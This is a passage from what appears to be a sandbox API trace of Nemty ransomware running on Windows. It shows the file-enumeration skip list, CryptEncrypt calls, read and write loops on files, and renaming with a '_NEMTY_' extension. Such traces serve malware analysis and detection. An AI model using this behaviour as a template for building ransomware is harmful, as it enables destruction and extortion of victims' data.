(lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0066.259] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0066.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0066.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0066.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0066.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340110 [0066.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401e8 [0066.260] Sleep (dwMilliseconds=0x5) [0066.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb2515b0, dwHighDateTime=0x1d561e7)) [0066.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb2515b0, dwHighDateTime=0x1d561e7)) [0066.270] GetLastError () returned 0x5 [0066.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.270] GetLastError () returned 0x5 [0066.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0066.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="IM2FvbIOdhSduaAN7GvR6TJRB+CZdSD2sJ8lK5AtZlDX/5RJH2vqh33wb7p5lJvA\r\nPrTu3XvLVgqaNdg8SFmR/0pO2gPkKraym2VQ9fco71tCYyr6SnLOlUSpHg4fxpSG\r\nH8L+R8YJR80ETMblCfzvlmODZHus8FdWxeSw8hYUu1SMEBr0fqyt5P5Oyqf7gjKW\r\nZhFrFbpPG4LQVWj9wvWRv7+4F652KJ9cK33q7bkDcUaeiGT2fhIchO3NOzM+F4oO\r\nm3q09efxAzs9jY35wGdOJBjgptc5+edIFDcZ1UPq5fZHYfs+MUIRa66iB/shmDSi\r\nuWL4fNbrfU+BaPmMxnvTiw==\r\n", pcchString=0x653e91c) returned 1 [0066.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0066.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0066.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.271] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.272] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.309] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.378] CloseHandle (hObject=0xffffffff) returned 0 [0066.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0066.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0066.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.379] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0066.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0066.379] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0066.379] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0066.380] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0066.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 